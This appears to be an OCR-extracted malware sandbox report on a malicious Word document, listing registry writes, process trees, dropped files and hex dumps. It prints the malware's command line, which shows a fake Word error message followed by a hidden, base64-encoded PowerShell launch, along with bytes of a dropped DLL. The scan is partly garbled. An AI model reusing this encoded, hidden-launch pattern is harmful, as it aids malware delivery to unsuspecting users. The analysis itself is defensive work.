00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00
FF FF FF FF

8281806401

00001

Completion

success or wait

success or wait

success or wait

Count Address

1

1

1

Source
Symbol

7FEE95140BA RegSetValueExA

7FEE95140BA RegSetValueExA

7FEE95140BA RegSetValueExA
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Mic
rosoft\VBA\7.0\Common

Key Value Modified

Key Path Name

HKEY_LOCAL_MACHINE\SOFT ProductFiles
WARE\Mi

crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT ProductFiles
WARE\Mi

crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa F7253
re\Mic

rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F7253

Copyright null 2021

Name Type
Dock binary

FolderView unicode

Tool binary

CtlsShowSelected unicode

DsnShowSelected unicode

Type Old Data

dword 1379532846

dword 1379532847

Data

02 00 4C 01 05 00 08 00 04 00
1E 00 FC 03 FC 02 FF 02 01 01
04 00 1E 00 B8 00 FC 02 FF 02
00 01 04 00 1E 00 B8 00 2F 01
05 00 00 01 04 00 35 01 B8 00
FC 02 01 00 00 01 BE 00 1E 00
FC 03 FC 02 FF 02 00 01 BE 00
1E 00 FC 03 FC 02 FF 02 01 01
BE 00 1E 00 FC 03 FC 02 00 00
00 01 BB 03 5E 00 FC 03 FC 02
06 00 00 00 D3 00 AF 01 09 03
32 02 FF 03 01 00 D3 00 AF 01
09 03 32 02 04 00 00 00 93 01
AF 01 09 03 32 02 03 00 00 00
D3 00 AF 01 09 03 32 02 02 00
000021007201 6C 021202
FF 03 01 00 21 00 72 01 E8 00
12 02 04 00 00 00 EE 00 72 01
A9 01 12 02 03 00 00 00 AF 01
7201 6C 02 12 02 02 00 00 00
F8 02 81 00 AC 03 01 01 05 00
00 00 59 00 30 02 0D 01 4B 03
01 00 00 00 3A 03 BC 00 79 03
1F 02 06 00 00 00 16 00 16 00
D9 01 C4 00 04 00 01 00 2C 00
2C 00 EB 01 E3 00 03 00 01 00
4200 42 00 3B 02 F7 00 02 00

01 00 00 00 00 00 00 00 00 00 08

00 00 00 58 00 57 00 37 01 FF

01 01 00 01 00 00 00 00 00 00 00

00 00 06 00 01 00 6E 00 6E 00

7F 01 52 01 05 00 01 00 00 00 00

00 00 00 00 00 00 00 01 00
1

00 00 00 00 07 00 00 00 47 65
6E 65 72 61 6C 00 FF FF FF FF
FF FF FF FF

0

New Data

1379532847

1379532848

Completion

success or wait 1

success or wait 1

success or wait 1

success or wait 1

success or wait 1

Completion

success or wait

success or wait

Count Address

binary

04 00 00 00 1C 07 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

04 00 00 00 1C 07 00 00 2A
00 00 00 43 00 3A 00 5C 00
55 00 73 00 65 00 72 00 73 00
5C 0041 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00
7000 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00
6D 00 70 00 5C 00 69 00 6D

00 67 00 73 00 2E 00 68 00 74 00 67 00 73 00 2E 00 68 00 74

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 3F
C4 36 F6 2C F4 D6 01 53 72
OF 00 53 72 OF 00 00 00 00
00 DB 04 00 00 02 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 6D 00 04 00 00 00 69 00
6D 00 67 00 73 00 00 00 00
00 01 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 53 72 OF
00 53 72 OF 00 00 00 00 00
DB 04 00 00 02 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 FF
FF FF FF 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

success or wait

Source
Symbol

7FEE94E7506 RegSetValueExA

7FEE95140BA RegSetValueExA

7FEE951426C RegSetValueExA

7FEE95140BA RegSetValueExA

7FEE95140BA RegSetValueExA

Source
Count Address Symbol
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO0 unknown
1 7TFEE9449ACO unknown
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Key Path

Copyright null 2021

Name

Type

00 00 00 00 00 00 00 00 00 00
AP QR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00
RRACHRH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address

Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD &R 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF
FF

00 00 00 00 00 00 00 00 00 00
R@RODHH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 FF FF FF FF

Completion

Source
Count Address

Symbol

Analysis Process: cmd.exe PID: 2332 Parent PID: 1220

General

Start time: 13:47:45

Start date: 26/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit):

Commandline:

false

cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& POwersheLL -w hidden -ENCOD

IAAGACQAaQBVAHgASWBSADIAI

Copyright null 2021

AAIACAAWWBOAFKAUABFAFOAKAAIAHSAMgBIAHSAMABIAHSAMWBIAHSAMQBIA
CIALQBMACCACWBUAEUABQAUAGKATWAUAGQAaQBSAGUAYWBUACCALAANAHKAJ
WASACCAUWBSACCALAANAEBACYANACKAIAATACAACWBFAHQALQBJAHQAZQBNA
CAAIAB2AGEAUgBpAGEAYgBMAGUAOgAXADYAVBKACAAIAA0AFSAJABZAFAAZ
QBdACgAIgB7ADYAfQB7ADCAfQB7ADMAQB7ADUAfQB7ADAAfQB7ADIAfQB7A
DQAfQB7ADEAfQAIACAALQBGACCAVIANACWAIWBYACCALAANAEKAYWBFAFAAD
WBpAE4AIJWASACCATYBIAFQALGBTACCALAANAFQADQBhAE4AY QBHAEUAJWASA
CcAZQBSACCALAANAHMAWQBTACCALAANAHQAZQBIACAAIWAPACAAKQATACQAS
WBOADMACWBIAGBAZWASACYAIWBCACCAKWAOACCADQANACSAIWB2ACCAKWANA
GsAawA5AHIAJWAPACKAOWAKAEOAagA1AGAACAB3AFBAPQAKAFOAOQBSAHMAN
ABBADYAIAATACAAWWBJAGGAY QBYAFOAKAA2ADQAKQAGACSAIAAKAECAMWALA
HcANQAYADQAOWAKAFKAZAAWADYANQBYAHJAPQAOACCAVQBAACCAKWAOACCAZ
QBIACCAKWANAF8AIWAPACSAIWB3AGWAIWAPADSAIAAGACYAIAAGAGCARQBOA
C0AaQBOAEUATQAJACJAIWB2AGEAUgBJIACCAKWANAEEAY gBSAEUAJWArACCAO AagBfAGKAbgB4AGKAPQAOACYAIWBWAHYAIJWArACCAMWANAPage 61 of 74


 QANACSAIWB5ACCAKQAPACSAK
AANAGQAZQBUACCAKWANAHCACJANACSAIWBPACCAKQArACgAIWBOAGUAJIWArA
CcAcWANACKAKWANACAAIWATrACCAYwWBVACCAKWAOACGAIWBIACCAKWANAHEAC
QANACSAIWAPACCAKWANACGACWAYACKAKABOAHIAY QBJAGSAXWB1ACCAKQApPA QANACSAIWBIAGKAIWAPACSAKAACACCAZQANACSAJ
WBUAGgAbwBhAC4AYWBVAGOACQBXACKAIJWArACCAKABZADIAIJWArACCAKQAOA
CcAKQApPACsAKAANAHcAbwBYACCAKWANAGQACAANACKAKWAOACgAIWBYACCAK
WANAGUACWBZAHEACQANACSAIJWAPACGACWANACSAIWAYACCAKQAPACSAIWAPA
CcAKWANACgAIWArACCAUQANACSAKAAOACCAVQBUAHKACQANACSAIJWBXACKAK
AANACsAIWBzADIAKQAOACCAKQAPACKAKQAUACIACgBFAGAAUABSAEEAYWBIA
CIAKAA0ACGAKAAOACCACQANACSAIWBXACKAIWAPACKAKWAOACGAIWAOACCAK
WANAHMAMgANACKAKQArACgAKAANACKAKAANACKAK QAPACKALAAOAFSAY QBYA
HIAY QB5AFOAKAANACBAIWAPACWAKAANAGYAIWATACCAIWBIACCAKQAPAFSAM
ABdACKALgAIAHMAYABQAEWASQBOACIAKAAKAEYANWAZAGCANWASAGOAIAATA
CAAJABNAGOANQBUAHAAJWBfACAAKWAGACQASQBJAHCAdQAYADMAOAAPADSAJ
ABYAGQAXWBjAHAAdWBfADOAKAANAFUAIWArACgAIWBOACCAKWANAHOAZgBXA
CcAKQArACcAMgAYACCAKQA7AGYAbwBYAGUAY QBJAGJAIAAOACQATWBOAFBAYImagebase: 0x4a660000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6A8BAFA06F7C42C1BA41L
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate
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Analysis Process: msg.exe PID: 2508 Parent PID

12332

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

13:47:48

26/01/2021

C:\Windows\System32\msg.exe

false

msg user /v Word experienced an error trying to open the file.
0xff790000

26112 bytes

2214979661E779C3E3C33D4F14E6F3AC

true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 2536 Parent PID: 2332
General
Start time: 13:47:49
Start date: 26/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

false

POwersheLL -w hidden -ENCOD IAAgACQAaQBVAHgASWBS5ADIAI
AAIACAAWWBOAFKAUABFAFOAKAAIAHSAMgBIAHSAMABIAHSAMWBOAHSAMQBIA
CIALQBMACCACWBUAEUABQAUAGKATWAUAGQAaQBSAGUAYWBUACCALAANAHKAJ
WASACCAUWBSACCALAANAEBACYANACKAIAA7TACAACWBFAHQALQBJAHQAZQBNA
CAAIAB2AGEAUgBpAGEAYgBMAGUAOgAXADYAVBKACAAIAA0AFSAJABZAFAAZ
QBdACgAIgB7ADYAfQB7ADCAfQB7ADMAFQB7ADUAfQB7ADAAfQB7ADIAfQB7A
DQAfQB7ADEAfQAIACAALQBGACCAVIANACWAIWBYACCALAANAEKAYWBFAFAAD
WBpAE4AIJWASACCATYBIAFQALGBTACCALAANAFQADQBhAE4AY QBHAEUAJWASA
CcAZQBSACCALAANAHMAWQBTACCALAANAHQAZQBIACAAIWAPACAAKQATACQAS
WBOADMACWBIAGBAZWASACYAIWBCACCAKWAOACCADQANACSAIWB2ACCAKWANA
GsAawA5AHIAJWAPACKAOWAKAEOAagA1AGAACAB3AFSAPQAKAFOAOQBSAHMAN
ABBADYAIAATACAAWWBJAGGAY QBYAFOAKAA2ADQAKQAGACSAIAAKAECAMWALA
HcANQAYADQAOWAKAFKAZAAWADYANQBYAHJAPQAOACCAVQBAACCAKWAOACCAZ
QBIACCAKWANAF8AIWAPACSAIWB3AGWAIWAPADSAIAAGACYAIAAGAGCARQBOA
C0AaQBOAEUATQAJACJAIWB2AGEAUgBJIACCAKWANAEEAY gBSAEUAJWArACCAO AagBfAGKAbgB4AGKAPQAOACYAIWBWAHYAIJWArACCAMWANAPage 63 of 74


 QANACSAIWB5ACCAKQAPACSAK
AANAGQAZQBUACCAKWANAHCACGANACSAIWBPACCAKQArACgAIJWBOAGUAIWArA
CcAcWANACKAKWANACAAIWArACCAYwWBVACCAKWAOACgAIWBIACCAKWANAHEAC
QANACSAIWAPACCAKWANACGACWAYACKAKABOAHIAY QBJAGSAXWB1ACCAKQApPA QANACSAIWBIAGKAIWAPACSAKAACACCAZQANACSAJ
WBUAGgAbwBhAC4AYWBVAGOACQBXACKAIJWArACCAKABZADIAIJWArACCAKQAOA
CcAKQApPACsAKAANAHcAbwBYACCAKWANAGQACAANACKAKWAOACgAIWBYACCAK
WANAGUACWBZAHEACQANACSAIJWAPACGACWANACSAIWAYACCAKQAPACSAIWAPA
CcAKWANACgAIWArACCAUQANACSAKAAOACCAVQBUAHKACQANACSAIJWBXACKAK
AANACsAIWBzADIAKQAOACCAKQAPACKAKQAUACIACgBFAGAAUABSAEEAYWBIA
CIAKAAOACGAKAAOACCACQANACSAIWBXACKAIJWAPACKAKWAOACGAIWAOACCAK
WANAHMAMgANACKAKQATrACgAKAANACKAKAANACKAK QAPACKALAAOAFSAY QBYA
HIAYQB5AFOAKAANACBAIWAPACWAKAANAGYAIWATACCAAWBIACCAKQAPAFSAM
ABdACKALgAIAHMAYABQAEWASQBOACIAKAAKAEYANWAZAGCANWASAGOAIAATA
CAAJABNAGOANQBUAHAAJWBACAAKWAGACQASQBJAHCAdQAYADMAOAAPADSAJ
ABYAGQAXWBjAHAAdWBfADOAKAANAFUAIJWArACgAIWBOACCAKWANAHOAZgBXA
CcAKQArACcAMgAYACCAKQA7AGYAbwBYAGUAY QBJAGJAIAAOACQATWBOAFBAYImagebase: 0x13f760000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7TF02A8CBE23F
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET
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Yara matches:

Reputation:

File Activities

File Created

File Path
C:\Users\user\O_wgqv7

C:\Users\user\O_wgqv7\C0316em

C:\Users\user\O_wgqv7\C0316em\Lyetaéud.dll

File Deleted

File Path

C:\Users\user\O_wgqv7\C0316em\Lyetaéud.dll

Old File Path

File Written

File Path

Copyright null 2021

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2138019176.00000000003B6000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000005.00000002.2138066373.0000000001CF4000.00000004.00000040.sdmp,
Author: Florian Roth

high

Access Attributes

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic write

New File Path

Length Value

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

Ascii

Source
Completion Count Address Symbol
success or wait 1 7FEE858BECT? CreateDirectory\W
success or wait 1 7FEE858BECT? CreateDirectory\W
success or wait 2 7FEE858BECT7 CreateFileW
Source
Completion Count Address Symbol
success or wait 1 7FEE858BECT? DeleteFileW
Source
Completion Count Address Symbol
Source
Completion Count Address Symbol
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File Path
C:\Users\user\O_wgqv7\C0316em\Lyeta6ud.dll

C:\Users\user\O_wgqv7\C0316em\Lyeta6ud.dll

Copyright null 2021

Offset Length Value

unknown 4096

unknown 7248

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff

00 00 b8 00 000000 ...

00 00 00 40 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 f8 00 00
00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 732070
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 b6 c1e8 7b f2
a0 86 28 f2 a0 86 28
f2 a0 86 28 6¢ 00 41
28 f3 a0 86 28 ff f2 59
28 e8 a0 86 28 ff f2
67 28 b0 a0 86 28 ff
f2 66 28 4c a0 86 28
2f 5f 4d 28 {7 a0 86
282 a0 87 28 92 a0
86 28 8f d9 67 28 f1
a0 86 28 8f d9 5a 28
3 a0 86 28 ff f2 5d
28 f3 a0 86 28 f2 a0
11 28 f3 a0 86 28 8f
d9 58 28 3 a0 86 28
52 69 63 68 f2 a0 86
28 00 00 00 00 00 00
00 00 50 45 00 00 4c
01 05

01 10 50 e8 4b 53 00
00 f6 c1 02 8d 4d d8
74 26 68 6¢c d3 01 10
68 08 60 02 10 6a 01
e8 cf f4 ff ff 68 ac 45

Source

Ascii Completion Count Address Symbol

success or wait 26 7FEE858BEC7 WriteFile

..L.IThis program
cannot be run in DOS
mode....$.......... {on(een
(LAG- Y CgCe R

PKS....M.t&hl...h.".

success or wait 17 7FEE858BEC7 WriteFile

..h.E..E.E.L..P..S.h....
=— 3...U......
L08.t....P...M.d

02108d45d8c7 45 ..
d84cd3011050e8 .A.1..E..
1d 53 0000 68 84 d3 ...

01 10 eb d8 c7 45 fc
ff ff ff ff €8 be 33 00
00 84 c0 75 07 8b ce
e8 fc f9 ff ff 8b 06 8b
40 04 8b 4c 30 38 85
€9 74 05 8b 01 ff 50
08 8b c6 8b 4d 4 64
89 0d 00 00 00 00 59
5e 8b e55d c3 ccce
CElCCICCICCICCICE5 S
8b ec 51 8b 41 30 56
8b 75 08 c7 45 fc 00
00 00 00 8b 08 89 Oe
8b 11 ff 52 04 8b c6
5e 8b e5 5d c2 04 00
EelceleeleElEelcElce
cc cc cc cc cc 55 8b
ec 518b 4104 ff 31
8b c8 c7 45 fc 00 00
00 00 ff 75 08 8b 10
ff 52 08 8b 45 08 8b
e5 5d c2 04 00 cc cc
EelceleeletlEelcEleE
cc cc cccc 55 8b ec
51 68 06 01 00 00 €8
1d 5e 00 00 83 c4 04
a3 a8 7a 02 10 33 c9
eb 06 8d 9b 00 00 00
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Source

